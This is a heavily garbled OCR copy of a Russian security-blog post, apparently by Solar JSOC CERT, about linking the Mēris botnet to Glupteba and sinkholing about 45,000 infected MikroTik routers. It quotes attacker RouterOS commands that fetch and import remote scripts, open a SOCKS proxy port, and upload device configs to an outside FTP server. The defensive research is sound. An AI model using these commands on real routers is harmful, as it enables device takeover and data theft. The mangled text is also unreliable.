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Kak mbI uckamm cBs3b Mexay Meris u Glupteba, a monyuunin
KOHTPOJIb Haj 45 Teicauamu ycrpouctB MikroTik

By JSOC_CERT
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Hepesnto Hazaz cTano u3BecTHO 0 pekopAHoi DDoS-arake Ha KoMraHuto SIH/IEKC C BIleYaTisiolviM 3HaueHueM B
21,8 mH RPS. Cotpyguuku SHaekca coBMeCTHO ¢ KoMmriaHuel Qrator Labs pacckasanm,
YTO UHCTPYMEHTOM IPOBe/IeHUs aTaku ObLT 60THET METis, COCTOAIIMI U3 CeTeBLIX YCTPOWCTB KOMITAHUH

Mikrotik. ITpy 3TOM OHH OTMETH/IH, UTO U3YUUTb 0Opasel] 60Ta y HUX He OBbI/IO BO3MO)KHOCTH, HO YTBEpIK/IeHNeE,

uyto Meéris — 3To «BepHyBIIMiics Mirai», He COBCeM TOYHO M3-3a pa3/inuMs B CeTeBbIX ypoBHsX aTaku (L7 u L3).

MEI yBepeHbl, UTo AaHHbIe 00CTOSTebCTBA TIPUBJIEK/TA BHUIMaHe MHOTHX CITEI[a/IFICTOB

110 UHPOPMALIMOHHOM 6e30TIaCHOCTH B IOTBITKAX M3YUeHHUs] BHyTPeHHero yCTporicTBa 6oTHeTa Méris

Y TIpYUPO/IbI ero Bo3HUKHOBeHUs. Mbl B Solar JSOC CERT He cTany UCK/TIOUeHWEM | TIPUIILTA K BBIBOAY, UTO,
BO3MOyKHO, MEéris Hauas 3apokzarhes elije B 2018 rozy ¢ momMolribio BpefjoHocHoro cemelictBa Glupteba, KoTopoe
JI0 CUX TIOP SIB/ISIETCS «TIOCTABIIMKOM» YCTPOMCTB A1 Meéris. Tak ke HaM y/jasoCh TIOMy4YUTh KOHTPOJIb Haf, 45

ThIcsluamMu ycrpoiictB MikroTik.

JSOC CERT umMeeT pacripe/ie/IeHHYIO 110 MUPY CeTb honeypot-yCTpONCTB /ijist U3yUeHUst MaCCOBBIX aTak 1
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BpeJJOHOCHBIX ceMelicTB ¢ 2019 roga. ITocnenHue aBa rofa Mbl Hab/IFOAAM 32 MIONBITKAMH 3apakKeHHs! yCTPOMCTB
MikroTik mpu momoru 6pyTdopca maposeii o ssh u skcrimyaranuy ys3sumoct CVE-2018-14847,
T03BOJISIFOLLIEH MTOJTyUUTh YUETHYHO 3aMuch aiMUHKUCTpaTopa. Kak nmpaBu/io nocsie ygaqyHoro BXozia Ha yCTpPOUCTBO

TIPOIKCBIBAETCST KOMaH/1a Ha fobaB/ieHre 3a1auu B TUIAHMPOBINMK 3aad RouterOS cieayroiiero Buzja:

/system scheduler add name="U6" interval=10m on-event="/tool
fetch url=http://---/pol1/eb62f787-db25-489b-b60d-de8f23940ba2 mode=http dst-path=7wmp@b4s.rsc\r\n/import 7wmp@b:

¥ Bcex URL Bcera npucyTcTBOBasa xapakTepHast 4acTb “/poll/”, naeHTU(pUKaTop >ke OCTOSHHO MEeHSUICS.
Kpowme Toro, cepsep ynpasienus Bcerga npoeepsier User-Agent B http-3anpoce 1 0T[jaeT Harpy3Ky TO/BKO

ycrpoiictBam MikroTik (User-Agent: Mikrotik/6.x Fetch).

Yepe3s HEKOTOPOe BpeMsl MOCJIe 3apaKeHHsI YCTPOMCTBA TI0 CChUTKe M3 3al/IaHUPOBAaHHOM 3a/jaui CKauMBaeTCs U

3arycKaeTcst CKpUNT C KOMaHaMH (00 3ToM ysKe ucany Ha Xabpe):

:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}

:do { /ip service disable api } on-error={ :put "disable api error"}

:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}

:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}

:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}

:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 }

Yerpoticta MikroTik 3aHnMaroT HebormbIyto yacTs B Hartleii honeypot-ceTH, TT03TOMY MBI He MOT/IH, OTIEPUPYS

JIVIIB HAIIUMU JaHHBIMU, PaCCy’KIaThb O MacIITabax yrpo3sl.

9 cenTs16ps 2021 roza Ha Haum ycrporictBa MikroTik ¢ cepBepoB ymiparsieHus (Hibke B Tab/uLie) MpuILia
ouepesiHast 3a/ja4a (OMMMCAHHOTO BhIllle (hopMaTa), KOTOPYIO MBI He BCTPeUasIi paHee.
OHa cofepykasia CChIJIKY Ha SIH7zieKC (110 yKa3aHHBIM CChUTKaM ceifuac HaxOAWTCS 3aryIyIlKa, PeKOMeHYIomast

TIPOBEPUTH KOMIIbIOTEP Ha BUPYChl; U3HAUa/IbHOE COJepKUMOe HaM HEM3BeCTHO):

:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}

:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}

:do { /ip service disable telnet } on-error={ :put "disable telnet error"}

:do { /ip service disable api } on-error={ :put "disable api error"}

:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}

:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}

:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}

:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}

:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 }
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCNIAQ" http-method=get }

:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCNIA@?init" http-method=get }
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Tak >ke B 3TOT ZieHb SH/IeKC omy01ruKoBaa HOBOoCTh 0 DDoS-arake. ITpounTaB ee, Mbl CJie/ia/iu TIPerosioKeHHe,
YTO UMEHHO TaKUM 00pa3oM ¥ Oblla OpraHM30BaHa aTaka (TeXHUUeCKUX MogpoOHOCTel Ha TOT MOMEHT
ripezicTaBieHo He Ob110). To eCTh B KaueCTBe CeMIlIa BpeJOHOCHOTO KOZla BBICTYTIAeT JIMIIb 3aJaua B

ry1aHupoBIuke RouterOS.

10 cenTsi6ps 2021 MbI 3aMKCUPOBAH PaCIIPOCTPAaHEHHe KOMaH/IbI, B KOTOPOH Tepe/jaBaiiCh MapaMeTphbl
aBTopu3auyu Ha FTP-cepBepe U 3a/iaua 10 BLIFPy3Ke Ha HET0 KOH(UTypaLMoHHOTO (haiina 3apa’keHHOTo

YCTPOMCTBa.

/export file=backup
/tool fetch src-path=backup.rsc mode=ftp address=159[.]69.64[.]130 dst-path=3a76963a-669d-41be-
b512-921396d32bc4.rsc upload=yes user=<redacted> password=<redacted>

MbI 3a6pasnv ¥ IpoaHaIM3UpOBaId BCe KOHQUTypalMoHHbIe (akiibl (OHU He cofiepyKaT yO/InuHbIe ajjpeca,
JIOTHHBI ¥ Maponu). B uTore Ham yzpanoch UeHTU(UIMPOBAaTh 00lIiee KOMUYeCTBO YHUKAIbHBIX YCTPONCTB
paBHoe 95500.

6.43 GLND

b.46

6.47

< 6.4

6.48

Page 3 of 7



https://habr.com /ru/company/solarsecurity/blog/578900/

m Asia

m Europe

= America
Africa

m Australia

m |ndian

m Pacific

m Atlantic

ITpn cpaBHeHNH TOTyUeHHOM HH(OPMALK O pernoHax ycTpocTs, Bepcusix OC 1 OTKPBITBIX Socks-proxy ¢

AaHHBIMHU B I10CTe HH,EI;EKCEI MBI 3aMeTU/IM OUeBHJHOe CXOACTBO.

BaxxHoii uadopmalueil B KOHQUIrypalMoHHbIX (aiinax Bcex ycrporicTB MikroTik 6bpu10 Hamuuue 3amuceii o
3agauax B RouterOS. Mbl npoaHaM3upoBasy JOMeHHbIe MMeHa (HUKe), C KOTOPBIX B3/IOMaHHbIe yCTPONCTBA
CKAQuMBAJIM CKPUIITHI, U 3TO MIPUBEJIO HAC K BpeJjoHOCHOMY ceMelicTBy Glupteba, 0 KOTOpOM MbI yoke

PacCKa3bIBaJIA.

WimenHO TyT MbI 1 BcioMHUY, uTo Glupteba MeeT B cBoem apceHasie Moy b Jjis 3apakeHuss MikroTik,
KOTODBIH, K CJI0BY, paboTaet Toxke uepe3 6pyTdopc maposeii o ssh u skcrtyaraipu ysizsumocta CVE-2018-

14847 v co3paeT pOBHO Takue ke 3a/laui.
O nanHOM MopyJsie paHee niucany Sophos u TrendMicro (cM. 31ech U 371ech).

[Mpumep 1wabsoHa A/1s1 GOPMHUPOBAHUS 3aJjau U3 MOZYJISL:

temSchedule

ITomHuTE mnpo I/I,ELEHTI/I(bI/IKaTOp 3a4d4uH, KOTOprﬁ TPpUCBIIAJICA BMeCTe C IOMEHOM M pacCriojiarajicsd rnocsie

xapakTepHo# yact# “/poll/”? Tak Bot 3To UUID, KOTOPEI JOpMHUPYeTCst TIPH MIOMOLIM OUOMMOTeKN
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github.com/gofrs/uuid kak B ocHoBHOM Mofyse Glupteba, Tak u B Mozyne Mikrotik.

OT cebst CKakeM, UTO Mbl BCTPEUATUCh C pa3HbiMu Moay/simu Glupteba asist Mikrotik. Yc/ioBHO ux MOXXHO

pa3zenuTb Ha HeCKOJIBKO TPYIIIL:

1. A3eIk: GO, OIUH BIIUTLIN JOMEH /17151 (POPMUPOBAHUSA 3a/lauM;
2. S13bIK: GO, HECKOJIBKO BILUTHIX ZIOMEHOB (0OBIYHO, TPH), OAWH M3 KOTOPBIX BEIOMPAETCs CyuaiHbIM
obpazom;

3. A3wik: C++ c ucronp3oBaHreM boost.

CocraBuu Tabnully, B KOTOPOIl Mbl IIPUBE/IH JJaHHbIE O JOMeHaX, Hali/|[eHHbIX BO BPeJOHOCHBIX 3a/jayax
KOHUTypauroHHbIX (aiinoB 95500 ycrporicts Mikrotik v jomMeHax, KOTOpbIe MBI OOHAPY>KUITH B MOZYJISIX

cemeticta Glupteba:

Whaois - gata perdcTpauma |- JagauM B KoWdurax  +  Hanwuwe B mogynax Glupteba |~ |

OrnucaHHbIe BbIlLE JaHHbIE TIO3BOJISIOT TIPE/TIOI0KHUTE, UTO BpeJJoHOCHOe ceMeiicTBo Glupteba, yuacTBoBaso B
(opmupoBanun 60tHeTa Meéris. MbI iymMasu, UTO Ha 3TOM Hallle HCC/IeZloBaHMe TO/0H/IeT K KOHITY, HO camoe

HMHTEPeCHOe Hac ell[e YK/1aI0 BIIePe/iu.

14 cents6pst 2021 B 17:37 Ha Harem xanurnote MikroTik Obia 3anyiiieHa ouepeiHasi KOMaH/ia, KOTopast
OTChlaja 3apakeHHoe ycTpoicTBo Ha CnC-afipec cosmosentry[.Jcom. Mbl 04eHb YAUBUINCE, KOT/IA BBISICHUIIH,
YTO 3TO /IOMEHHOE UM ellje HUKOMY He ITPHUHAZJIEXXUT, U OBICTPO 3apernuCTprpoBasy ero Ha cebs. 3a 1ecTh JHeH
Ha Halll cepBep 00paTH/IoCh 0KoJIo 78 Thicsiu yHUKanbHbBIX IP ¢ xapakrepabiM g1 MikroTik User-Agent, 1 Mbl

IyMaJid, 4TO 3TO COOTBETCTBYET KOJIMUECTBY 3apaKeHHBIX YCTPOUCTB.

O/1HaKo MoC/Ie U3yueHHUs1 CTaTUCTUYECKUX JJaHHBIX 0Ka3a/0Ch, UTO Ha CaMOM Jiejie YCTPOMCTB OKOJO 45 ThICSY, a
Takoe KoymuecTBo IP-azipecoB momyunaock u3-3a IMHaMHUeCKol azipecariuu. To ecTb MHOTHe YCTpOMCTBa He
VMetoT 6erioro azipeca ¥ HaxXOASATCS BO BHYTPeHHeH CeTH, UTo elrje pa3 HaBOAUT Ha MBIC/Ib 00 YJaCTHH B 3TOM

nesne cemeiictBa Glupteba.

Hampumep, Ha pUCyHKe TIpeZicTaB/ieHa ofHa «0esiast TIoficeTh» 110 MackKe /24, U3 KOTOPO# UAyT obpalieHus K

cosmosentry[.]com.
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Haruia cTatucTyka 1o reonprHa/iIe)KHOCTH 3apayKeHHbIX YCTPONCTB CX0xKa C JAHHBIMU B TIocTe SIHzeKca
(Bpasumusi, Uuponesus, Muaus, banriazerr). Ho ecTb 1 pa3nuuus (y Hac OOJIBIIYIO YacTh 3aHUMAeT YKpauHa).

BeposiTHo, y 60THeTa MEris HeCKO/IbKO CepBEpOB YIIPAB/IEHHs M HaM [JOCTYITHA TOILKO YaCTh YCTPOMCTB.
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' Rostelecom
Solar

.
Warning!
Your Mikrotik device is probably mfected with Méris mabware, which connects to this domain automatically.

We strongly recommend to ¢heck vour device for viruses or contact your system administrator.
Information on kow to clean you device is available here htps:/blog.amikrotik com/secunty/ meris-botaet linml,

© Solar 150C CERT

B KoHIIe XOueTcsi HallOMHUTBD, UTO, K COXKaJIeHUI0, MbI He MOYKEM TIPeATIPUHSTh HUKAKUX aKTUBHBIX JI€HCTBUH C
MO KOHTPOJIbHBIMK HaM yCTpokcTBaMHU (y Hac HeT Ha 3TO MOJIHOMOUMii). B HacTosA Ml MOMeHT ropsijgka 45
ThIcsTu ycrpoiictB MikroTik obparrjatores K Ham, Kak K sinkhole-momeny.

Wudopmanus yxe nepefana B HKLIKN.

Hzopb 3aneeckuti, pykosooumenb omodena pacciedosarusi Kubepunyuoenmog Solar JSOC CERT, «Pocmenekom-

Conap»

Source: https://habr.com/ru/company/solarsecurity/blog/578900/
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